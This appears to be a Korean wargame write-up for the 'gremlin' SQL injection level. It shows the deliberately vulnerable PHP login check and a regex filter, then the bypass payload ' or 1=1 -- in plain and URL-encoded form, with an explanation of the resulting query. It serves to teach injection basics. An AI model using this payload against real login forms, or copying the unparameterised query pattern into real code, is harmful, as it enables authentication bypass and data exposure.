문제 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>id, pw 값이 SQL 문자열 안에 그대로 들어가고, result['id'] 값이 존재하기만 하면 문제가 풀립니다.
exploit
?id=' or 1=1 -- &pw=URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.
?id=%27%20or%201=1%20--%20&pw=최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_gremlin where id='' or 1=1 -- ' and pw=''id='' 조건은 거짓이어도 or 1=1이 항상 참이기 때문에 결과가 반환됩니다. 뒤의 and pw='' 조건은 -- 주석으로 처리되어 실행되지 않습니다.
배운 내용
- SQL Injection의 기본 구조는 문자열을 닫고 원하는 조건을 추가하는 방식입니다.
or 1=1은 항상 참이므로 인증 우회에 자주 사용됩니다.- MySQL에서
--주석은 뒤에 공백이 필요합니다. URL에서는%20으로 공백을 명확히 넣는 것이 안전합니다.